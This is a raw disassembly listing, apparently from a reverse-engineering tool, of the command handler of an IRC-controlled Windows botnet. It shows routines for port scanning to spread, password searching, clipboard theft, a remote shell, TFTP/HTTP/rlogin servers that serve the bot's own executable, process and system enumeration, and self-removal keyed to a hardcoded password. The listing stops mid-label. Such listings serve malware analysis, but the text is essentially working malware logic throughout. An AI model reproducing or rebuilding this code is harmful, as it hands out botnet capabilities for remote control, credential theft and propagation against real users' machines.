loc_40D93D: ; CODE XREF: sub_409848+19CBj ; sub_409848+19DFj push 5 xor esi, esi push esi push esi push [ebp+var_8] push offset aOpen ; "open" push esi call dword_43A4CC ; ShellExecuteA push [ebp+var_8] test eax, eax lea eax, [ebp+var_2F0] jz short loc_40D969 push offset aShellFileOpene ; "[SHELL]: File opened: %s" jmp loc_40D867 ; --------------------------------------------------------------------------- loc_40D969: ; CODE XREF: sub_409848+4115j push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s" jmp loc_40D867 ; --------------------------------------------------------------------------- loc_40D973: ; CODE XREF: sub_409848+19A3j ; sub_409848+19B7j mov eax, [ebp+var_8] mov cl, [eax] mov byte_42FCD4, cl movsx eax, byte ptr [eax] push eax push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'." jmp loc_40EE1B ; --------------------------------------------------------------------------- loc_40D98C: ; CODE XREF: sub_409848+197Bj ; sub_409848+198Fj push [ebp+var_8] call sub_416D02 test eax, eax pop ecx jle loc_40F93F push [ebp+var_8] call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F push 0 push 0 lea eax, [ebp+var_C8] push 2 push eax call sub_411114 push eax lea eax, [ebp+var_2F0] push offset aNickS ; "NICK %s" push eax call sub_416975 add esp, 1Ch jmp loc_40CE40 ; --------------------------------------------------------------------------- loc_40D9DD: ; CODE XREF: sub_409848+1953j ; sub_409848+1967j mov edi, [ebp+var_8] push edi call sub_416D02 test eax, eax pop ecx jle loc_409AC6 push edi call sub_416D02 mov esi, 1F4h cmp eax, esi pop ecx jge loc_409AC6 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D17 pop ecx pop ecx push esi call dword_422000 ; Sleep push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call dword_43A4D0 ; closesocket push [ebp+var_18] push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B274[eax] call dword_4220F0 ; TerminateThread push edi call sub_416D02 imul eax, 234h and dword_43B274[eax], 0 push edi call sub_416D02 imul eax, 234h and byte ptr dword_43B060[eax], 0 pop ecx pop ecx jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40DA8B: ; CODE XREF: sub_409848+192Bj ; sub_409848+193Fj mov edi, [ebp+var_8] push 4 mov esi, offset aAll ; "all" pop ecx xor eax, eax repe cmpsb jnz short loc_40DAC8 call sub_4138A3 test eax, eax jle short loc_40DAB0 push eax push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)." jmp loc_40EEDE ; --------------------------------------------------------------------------- loc_40DAB0: ; CODE XREF: sub_409848+425Bj push offset aThreadsNoActiv ; "[THREADS]: No active threads found." loc_40DAB5: ; CODE XREF: sub_409848+4C75j ; sub_409848+4C94j ... lea eax, [ebp+var_2F0] push eax call sub_416975 pop ecx pop ecx jmp loc_40D1C6 ; --------------------------------------------------------------------------- loc_40DAC8: ; CODE XREF: sub_409848+4252j mov edi, [ebp+var_20] jmp short loc_40DB3A ; --------------------------------------------------------------------------- loc_40DACD: ; CODE XREF: sub_409848+42F6j mov esi, [ebp+edi*4+var_A4] test esi, esi jz loc_409AC6 push esi call sub_416D02 push eax call sub_41381B pop ecx pop ecx test eax, eax push esi lea eax, [ebp+var_2F0] jz short loc_40DAFC push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s." jmp short loc_40DB01 ; --------------------------------------------------------------------------- loc_40DAFC: ; CODE XREF: sub_409848+42ABj push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s." loc_40DB01: ; CODE XREF: sub_409848+42B2j push eax call sub_416975 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40DB2D push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40DB2D: ; CODE XREF: sub_409848+42C6j lea eax, [ebp+var_2F0] push eax call sub_401F0F pop ecx loc_40DB3A: ; CODE XREF: sub_409848+4283j inc edi cmp edi, 20h jb short loc_40DACD jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40DB45: ; CODE XREF: sub_409848+1903j ; sub_409848+1917j cmp [ebp+var_14], 0 jz loc_40F93F push [ebp+var_8] push [ebp+var_14] call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F push esi push offset aS_4 ; "%s\r\n" push [ebp+arg_4] call sub_405D17 push esi push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s." jmp short loc_40DBD2 ; --------------------------------------------------------------------------- loc_40DB7C: ; CODE XREF: sub_409848+18DBj ; sub_409848+18EFj push [ebp+var_8] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_405D17 push [ebp+var_8] push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'." jmp short loc_40DBD2 ; --------------------------------------------------------------------------- loc_40DB96: ; CODE XREF: sub_409848+18B3j ; sub_409848+18C7j push [ebp+ebx+var_9C] push [ebp+var_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405D17 push [ebp+var_8] push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'." jmp loc_40CEFA ; --------------------------------------------------------------------------- loc_40DBBA: ; CODE XREF: sub_409848+188Bj ; sub_409848+189Fj push [ebp+var_8] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405D17 push [ebp+var_8] push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'." loc_40DBD2: ; CODE XREF: sub_409848+37E6j ; sub_409848+4332j ... call sub_401F83 loc_40DBD7: ; CODE XREF: sub_409848+384Cj add esp, 14h jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40DBDF: ; CODE XREF: sub_409848+1851j ; sub_409848+1865j mov cl, byte_42E356 and [ebp+arg_0], 0 test cl, cl mov edx, offset byte_42E356 jz loc_409AC6 mov eax, edx loc_40DBF8: ; CODE XREF: sub_409848+43B9j inc [ebp+arg_0] add eax, 0Bh cmp byte ptr [eax], 0 jnz short loc_40DBF8 test cl, cl jz loc_409AC6 mov [ebp+var_1C], edx loc_40DC0E: ; CODE XREF: sub_409848+469Dj push 9 call sub_413922 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_40DC5E push ecx lea eax, [ebp+var_2F0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 20h jmp loc_40DEDB ; --------------------------------------------------------------------------- loc_40DC5E: ; CODE XREF: sub_409848+43E0j or [ebp+var_4D8], 0FFFFFFFFh xor esi, esi cmp dword_42E068, esi mov [ebp+var_4DC], 0C8h mov [ebp+var_4F0], 5 mov [ebp+var_4EC], esi mov [ebp+arg_0], esi jz short loc_40DCF1 mov edx, [ebp+var_1C] add edx, 0FFFFFFF6h mov edi, offset dword_42E068 loc_40DC97: ; CODE XREF: sub_409848+448Bj mov esi, edx lea eax, [edi-28h] loc_40DC9C: ; CODE XREF: sub_409848+4470j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40DCC0 test cl, cl jz short loc_40DCBA mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40DCC0 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40DC9C loc_40DCBA: ; CODE XREF: sub_409848+445Ej xor esi, esi xor eax, eax jmp short loc_40DCC7 ; --------------------------------------------------------------------------- loc_40DCC0: ; CODE XREF: sub_409848+445Aj ; sub_409848+4468j sbb eax, eax sbb eax, 0FFFFFFFFh xor esi, esi loc_40DCC7: ; CODE XREF: sub_409848+4476j cmp eax, esi jz short loc_40DCD7 inc [ebp+arg_0] add edi, 3Ch cmp [edi], esi jnz short loc_40DC97 jmp short loc_40DCF1 ; --------------------------------------------------------------------------- loc_40DCD7: ; CODE XREF: sub_409848+4481j mov eax, [ebp+arg_0] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42E068[ecx] mov [ebp+var_4F4], ecx mov [ebp+var_4D8], eax loc_40DCF1: ; CODE XREF: sub_409848+4442j ; sub_409848+448Dj cmp [ebp+var_4F4], esi jz loc_40DF02 push 10h pop esi lea eax, [ebp+var_BC] push eax lea eax, [ebp+var_D8] push eax push [ebp+arg_4] mov [ebp+var_BC], esi call dword_43A328 ; getsockname mov al, [ebp+var_38F] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_61C] push eax call sub_416A00 xor eax, eax cmp [ebp+var_38F], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_61C] push eax call sub_4169D0 add esp, 14h xor bl, bl test esi, esi jle short loc_40DD97 loc_40DD77: ; CODE XREF: sub_409848+454Dj test eax, eax jz short loc_40DD97 mov byte ptr [eax], 78h lea eax, [ebp+var_61C] push 30h push eax call sub_4169D0 pop ecx inc bl pop ecx movsx ecx, bl cmp ecx, esi jl short loc_40DD77 loc_40DD97: ; CODE XREF: sub_409848+452Dj ; sub_409848+4531j mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_4F8], eax mov eax, [ebp+var_4] mov [ebp+var_4D0], eax mov eax, [ebp+var_C] mov [ebp+var_4CC], eax mov ebx, 80h lea eax, [ebp+var_5F8] push ebx push eax mov [ebp+var_4C8], 1 call sub_416BCD xor ecx, ecx add esp, 0Ch mov eax, offset aMurders ; "#murders" inc ecx mov edi, 422B02h mov esi, eax xor edx, edx repe cmpsb jz short loc_40DDFF push eax lea eax, [ebp+var_578] push ebx push eax call sub_416BCD add esp, 0Ch jmp short loc_40DE06 ; --------------------------------------------------------------------------- loc_40DDFF: ; CODE XREF: sub_409848+45A2j and [ebp+var_578], 0 loc_40DE06: ; CODE XREF: sub_409848+45B5j xor esi, esi cmp [ebp+var_4C8], esi mov eax, offset aRandom ; "Random" jnz short loc_40DE1A mov eax, offset aSequential ; "Sequential" loc_40DE1A: ; CODE XREF: sub_409848+45CBj push [ebp+var_4DC] lea ecx, [ebp+var_61C] push [ebp+var_4EC] push [ebp+var_4F0] push [ebp+var_4F4] push ecx push eax lea eax, [ebp+var_2F0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_416975 push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_413732 add esp, 2Ch mov [ebp+var_4E8], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_61C] push eax push offset sub_401B94 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_4E8] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40DEF8 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_416975 add esp, 0Ch loc_40DEAD: ; CODE XREF: sub_409848+46B8j cmp [ebp+var_C], esi jnz short loc_40DECE push esi push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40DECE: ; CODE XREF: sub_409848+4668j lea eax, [ebp+var_2F0] push eax call sub_401F0F pop ecx loc_40DEDB: ; CODE XREF: sub_409848+4411j add [ebp+var_1C], 0Bh mov eax, [ebp+var_1C] cmp byte ptr [eax], 0 jnz loc_40DC0E jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40DEF0: ; CODE XREF: sub_409848+46B6j push 32h call dword_422000 ; Sleep loc_40DEF8: ; CODE XREF: sub_409848+4648j cmp [ebp+var_4C4], esi jz short loc_40DEF0 jmp short loc_40DEAD ; --------------------------------------------------------------------------- loc_40DF02: ; CODE XREF: sub_409848+44AFj lea eax, [ebp+var_2F0] push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... push eax call sub_416975 pop ecx pop ecx jmp loc_40F222 ; --------------------------------------------------------------------------- loc_40DF1A: ; CODE XREF: sub_409848+1829j ; sub_409848+183Dj push [ebp+var_9C] lea eax, [ebp+var_B4] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov [ebp+var_B8], eax mov eax, [ebp+var_4] mov [ebp+var_30], eax mov eax, [ebp+var_C] push offset aFindpassSearch ; "[FINDPASS]: Searching for password." mov [ebp+var_2C], eax lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Eh push eax call sub_413732 add esp, 24h mov [ebp+var_34], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_B8] push eax push offset sub_403E31 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_34] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40DFB8 call dword_422008 ; RtlGetLastWin32Error push eax push offset aFindpassFail_0 ; "[FINDPASS]: Failed to start search thre"... jmp loc_40CA14 ; --------------------------------------------------------------------------- loc_40DFB0: ; CODE XREF: sub_409848+4773j push 32h call dword_422000 ; Sleep loc_40DFB8: ; CODE XREF: sub_409848+4755j cmp [ebp+var_28], esi jz short loc_40DFB0 jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40DFC2: ; CODE XREF: sub_409848+1801j ; sub_409848+1815j push 5 call sub_413922 test eax, eax pop ecx jle short loc_40DFE6 lea eax, [ebp+var_2F0] push offset aTftpAlreadyRun ; "[TFTP]: Already running." push eax call sub_416975 xor edi, edi jmp loc_40F625 ; --------------------------------------------------------------------------- loc_40DFE6: ; CODE XREF: sub_409848+4784j mov eax, [ebp+ebx+var_A0] xor edi, edi cmp eax, edi mov esi, 104h jz short loc_40E00B push eax lea eax, [ebp+var_1458] push esi push eax call sub_416BCD add esp, 0Ch jmp short loc_40E01A ; --------------------------------------------------------------------------- loc_40E00B: ; CODE XREF: sub_409848+47AEj push esi lea eax, [ebp+var_1458] push eax push edi call dword_422010 ; GetModuleFileNameA loc_40E01A: ; CODE XREF: sub_409848+47C1j mov ebx, [ebp+ebx+var_9C] cmp ebx, edi jnz short loc_40E02A mov ebx, offset byte_42FD4C loc_40E02A: ; CODE XREF: sub_409848+47DBj push ebx lea eax, [ebp+var_1354] push esi push eax call sub_416BCD mov eax, dword_42FCBC mov [ebp+var_1248], eax mov eax, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_145C], eax lea eax, [ebp+var_1244] push eax mov [ebp+var_124C], edi call sub_416A00 mov eax, [ebp+var_4] mov [ebp+var_11C4], eax mov eax, [ebp+var_C] mov [ebp+var_11C0], eax lea eax, [ebp+var_1354] push eax lea eax, [ebp+var_1458] push eax push [ebp+var_1248] lea eax, [ebp+var_2F0] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_416975 push edi lea eax, [ebp+var_2F0] push 5 push eax call sub_413732 add esp, 38h mov [ebp+var_1250], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_145C] push eax push offset sub_41326A push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_1250] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40E10C call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "... push eax call sub_416975 add esp, 0Ch jmp loc_40F627 ; --------------------------------------------------------------------------- loc_40E104: ; CODE XREF: sub_409848+48CAj push 32h call dword_422000 ; Sleep loc_40E10C: ; CODE XREF: sub_409848+489Aj cmp [ebp+var_11BC], edi jz short loc_40E104 jmp loc_40F627 ; --------------------------------------------------------------------------- loc_40E119: ; CODE XREF: sub_409848+17D9j ; sub_409848+17EDj mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40E138 push esi call sub_416D02 test eax, eax pop ecx jz short loc_40E138 push esi call sub_416D02 pop ecx jmp short loc_40E13D ; --------------------------------------------------------------------------- loc_40E138: ; CODE XREF: sub_409848+48DAj ; sub_409848+48E5j mov eax, dword_42FCC0 loc_40E13D: ; CODE XREF: sub_409848+48EEj mov ebx, [ebp+ebx+var_9C] mov [ebp+var_B10], eax xor eax, eax cmp [ebp+var_38C], al setz al xor edi, edi cmp ebx, edi mov [ebp+var_AFC], eax jz short loc_40E172 lea eax, [ebp+var_C14] push ebx push eax call sub_416975 pop ecx pop ecx jmp short loc_40E19D ; --------------------------------------------------------------------------- loc_40E172: ; CODE XREF: sub_409848+4917j push 104h lea eax, [ebp+var_860] push eax call dword_422048 ; GetSystemDirectoryA push edi push edi push edi lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_860] push eax call sub_41809F add esp, 14h loc_40E19D: ; CODE XREF: sub_409848+4928j lea eax, [ebp+var_C14] lea edx, [eax+1] loc_40E1A6: ; CODE XREF: sub_409848+4963j mov cl, [eax] inc eax test cl, cl jnz short loc_40E1A6 sub eax, edx cmp [ebp+eax+var_C15], 5Ch jnz short loc_40E1D2 lea eax, [ebp+var_C14] lea edx, [eax+1] loc_40E1C2: ; CODE XREF: sub_409848+497Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40E1C2 sub eax, edx and [ebp+eax+var_C15], cl loc_40E1D2: ; CODE XREF: sub_409848+496Fj push [ebp+var_9C] mov esi, [ebp+arg_4] lea eax, [ebp+var_E9C] push 80h push eax mov [ebp+var_EA0], esi call sub_416BCD mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 0Ch mov [ebp+var_B00], eax lea eax, [ebp+var_C14] push eax push [ebp+var_B10] mov [ebp+var_B04], ebx push esi call sub_408894 pop ecx push eax lea eax, [ebp+var_2F0] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_416975 push edi lea eax, [ebp+var_2F0] push 4 push eax call sub_413732 add esp, 20h mov [ebp+var_B08], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_EA0] push eax push offset sub_40558B push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_B08] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40E28D call dword_422008 ; RtlGetLastWin32Error push eax push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"... jmp loc_40C466 ; --------------------------------------------------------------------------- loc_40E285: ; CODE XREF: sub_409848+4A4Bj push 32h call dword_422000 ; Sleep loc_40E28D: ; CODE XREF: sub_409848+4A2Aj cmp [ebp+var_AF4], edi jz short loc_40E285 jmp loc_40C475 ; --------------------------------------------------------------------------- loc_40E29A: ; CODE XREF: sub_409848+17B1j ; sub_409848+17C5j mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40E2B9 push esi call sub_416D02 test eax, eax pop ecx jz short loc_40E2B9 push esi call sub_416D02 pop ecx jmp short loc_40E2BE ; --------------------------------------------------------------------------- loc_40E2B9: ; CODE XREF: sub_409848+4A5Bj ; sub_409848+4A66j mov eax, dword_42FCC4 loc_40E2BE: ; CODE XREF: sub_409848+4A6Fj mov [ebp+var_90C], eax mov eax, [ebp+ebx+var_9C] xor edi, edi cmp eax, edi jnz short loc_40E2D7 lea eax, [ebp+var_F0] loc_40E2D7: ; CODE XREF: sub_409848+4A87j push eax lea eax, [ebp+var_A4C] push 40h push eax call sub_416BCD mov ebx, [ebp+ebx+var_98] add esp, 0Ch cmp ebx, edi jnz short loc_40E2F9 mov ebx, 422B02h loc_40E2F9: ; CODE XREF: sub_409848+4AAAj push ebx lea eax, [ebp+var_A0C] push 100h push eax call sub_416BCD push [ebp+var_9C] lea eax, [ebp+var_ACC] push 80h push eax call sub_416BCD mov eax, [ebp+var_C] mov esi, [ebp+arg_4] mov ebx, [ebp+var_4] add esp, 18h mov [ebp+var_8F8], eax lea eax, [ebp+var_A4C] push eax push [ebp+var_90C] mov [ebp+var_AD0], esi push esi mov [ebp+var_8FC], ebx call sub_408894 pop ecx push eax lea eax, [ebp+var_2F0] push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"... push eax call sub_416975 push edi lea eax, [ebp+var_2F0] push 7 push eax call sub_413732 add esp, 20h mov [ebp+var_908], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_AD0] push eax push offset sub_410B7C push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_908] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40E3C6 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"... jmp loc_40C466 ; --------------------------------------------------------------------------- loc_40E3BE: ; CODE XREF: sub_409848+4B84j push 32h call dword_422000 ; Sleep loc_40E3C6: ; CODE XREF: sub_409848+4B63j cmp [ebp+var_8F4], edi jz short loc_40E3BE jmp loc_40C475 ; --------------------------------------------------------------------------- loc_40E3D3: ; CODE XREF: sub_409848+1789j ; sub_409848+179Dj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40E3E6 push ebx call sub_416D02 jmp short loc_40E3ED ; --------------------------------------------------------------------------- loc_40E3E6: ; CODE XREF: sub_409848+4B94j push 9 call sub_413941 loc_40E3ED: ; CODE XREF: sub_409848+4B9Cj test eax, eax pop ecx jz loc_40F93F push eax push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4010CA jmp loc_40E8DC ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_409848+1761j ; sub_409848+1775j mov eax, dword_43A4A8 test eax, eax jz short loc_40E430 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2F0] jz short loc_40E429 push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_40E451 ; --------------------------------------------------------------------------- loc_40E429: ; CODE XREF: sub_409848+4BD8j push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_40E451 ; --------------------------------------------------------------------------- loc_40E430: ; CODE XREF: sub_409848+4BCCj push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." lea eax, [ebp+var_2F0] jmp short loc_40E451 ; --------------------------------------------------------------------------- loc_40E43D: ; CODE XREF: sub_409848+1739j ; sub_409848+174Dj call sub_4087B6 test eax, eax lea eax, [ebp+var_2F0] jz short loc_40E461 push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." loc_40E451: ; CODE XREF: sub_409848+4BDFj ; sub_409848+4BE6j ... push 200h push eax call sub_416BCD jmp loc_40ED5F ; --------------------------------------------------------------------------- loc_40E461: ; CODE XREF: sub_409848+4C02j push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." jmp short loc_40E451 ; --------------------------------------------------------------------------- loc_40E468: ; CODE XREF: sub_409848+1711j ; sub_409848+1725j cmp [ebp+var_C], 0 jnz short loc_40E489 push 0 push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40E489: ; CODE XREF: sub_409848+4C24j push 0 push [ebp+var_4] call sub_4073F3 push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 push offset aMainGetClipboa ; "[MAIN]: Get Clipboard." jmp loc_40E7A5 ; --------------------------------------------------------------------------- loc_40E4AC: ; CODE XREF: sub_409848+1382j ; sub_409848+1396j push 8 call sub_413922 test eax, eax pop ecx jle short loc_40E4C2 push offset aCmdRemoteShell ; "[CMD]: Remote shell already running." jmp loc_40DAB5 ; --------------------------------------------------------------------------- loc_40E4C2: ; CODE XREF: sub_409848+4C6Ej push [ebp+var_9C] push [ebp+arg_4] call sub_410729 cmp eax, 0FFFFFFFFh pop ecx pop ecx jnz short loc_40E4E1 push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell." jmp loc_40DAB5 ; --------------------------------------------------------------------------- loc_40E4E1: ; CODE XREF: sub_409848+4C8Dj push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready." jmp loc_40DAB5 ; --------------------------------------------------------------------------- loc_40E4EB: ; CODE XREF: sub_409848+135Aj ; sub_409848+136Ej push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_406EA4 jmp loc_40E7C6 ; --------------------------------------------------------------------------- loc_40E504: ; CODE XREF: sub_409848+1332j ; sub_409848+1346j push [ebp+ebx+var_A0] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_403482 jmp loc_40E7C6 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_409848+130Aj ; sub_409848+131Ej or esi, 0FFFFFFFFh call dword_422004 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, [ebp+ebx+var_A0] test ebx, ebx mov edi, eax jz short loc_40E549 push ebx call sub_416D02 pop ecx mov esi, eax loc_40E549: ; CODE XREF: sub_409848+4CF6j xor edx, edx mov eax, edi mov ecx, 15180h div ecx cmp eax, esi jnb short loc_40E561 cmp esi, 0FFFFFFFFh jnz loc_40F93F loc_40E561: ; CODE XREF: sub_409848+4D0Ej push 0 call sub_4129E9 push eax lea eax, [ebp+var_2F0] push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s." push eax call sub_416975 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 lea eax, [ebp+var_2F0] push eax call sub_401F0F loc_40E5A0: ; CODE XREF: sub_409848+27CDj add esp, 28h jmp loc_40F93F ; --------------------------------------------------------------------------- loc_40E5A8: ; CODE XREF: sub_409848+12E2j ; sub_409848+12F6j push 1Fh call sub_413922 test eax, eax pop ecx jle short loc_40E5DE cmp [ebp+var_C], 0 jnz loc_409AC6 push 0 push [ebp+var_4] push offset aProcAlreadyRun ; "[PROC]: Already running." loc_40E5C8: ; CODE XREF: sub_409848+2250j push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_40E5DE: ; CODE XREF: sub_409848+4D6Aj push [ebp+var_9C] lea eax, [ebp+var_384] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A0] and [ebp+var_300], 0 mov [ebp+var_388], eax mov eax, [ebp+var_4] mov [ebp+var_2FC], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_2F8], eax jz short loc_40E63F push 5 mov edi, ebx mov esi, offset aFull ; "full" pop ecx xor eax, eax repe cmpsb jnz short loc_40E63F mov [ebp+var_300], 1 loc_40E63F: ; CODE XREF: sub_409848+4DDBj ; sub_409848+4DEBj lea eax, [ebp+var_2F0] push offset aProcsProccessL ; "[PROCS]: Proccess list." push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Fh push eax call sub_413732 add esp, 14h mov [ebp+var_304], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_388] push eax push offset sub_40905C push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_304] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40E6C1 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"... push eax call sub_416975 add esp, 0Ch jmp loc_40D1E9 ; --------------------------------------------------------------------------- loc_40E6B9: ; CODE XREF: sub_409848+4E7Fj push 32h call dword_422000 ; Sleep loc_40E6C1: ; CODE XREF: sub_409848+4E4Fj cmp [ebp+var_2F4], esi jz short loc_40E6B9 jmp loc_40D1E9 ; --------------------------------------------------------------------------- loc_40E6CE: ; CODE XREF: sub_409848+12BAj ; sub_409848+12CEj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz loc_409AC6 mov esi, ebx mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40E6E4: ; CODE XREF: sub_409848+4EB8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_40E706 test cl, cl jz short loc_40E702 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_40E706 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40E6E4 loc_40E702: ; CODE XREF: sub_409848+4EA6j xor eax, eax jmp short loc_40E70B ; --------------------------------------------------------------------------- loc_40E706: ; CODE XREF: sub_409848+4EA2j ; sub_409848+4EB0j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40E70B: ; CODE XREF: sub_409848+4EBCj test eax, eax jnz loc_409AC6 cmp [ebp+var_C], eax jnz short loc_40E732 push eax push [ebp+var_4] push offset aMainRemovingBo ; "[MAIN]: Removing Bot." push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 add esp, 14h loc_40E732: ; CODE XREF: sub_409848+4ECEj push [ebp+arg_4] call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup call sub_407576 jmp loc_40EE72 ; --------------------------------------------------------------------------- loc_40E74B: ; CODE XREF: sub_409848+1292j ; sub_409848+12A6j push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push eax call sub_412B6A pop ecx pop ecx push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 push offset aMainSystemInfo ; "[MAIN]: System Info." jmp short loc_40E7A5 ; --------------------------------------------------------------------------- loc_40E777: ; CODE XREF: sub_409848+126Aj ; sub_409848+127Ej push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_412DD1 add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 push offset aMainNetworkInf ; "[MAIN]: Network Info." loc_40E7A5: ; CODE XREF: 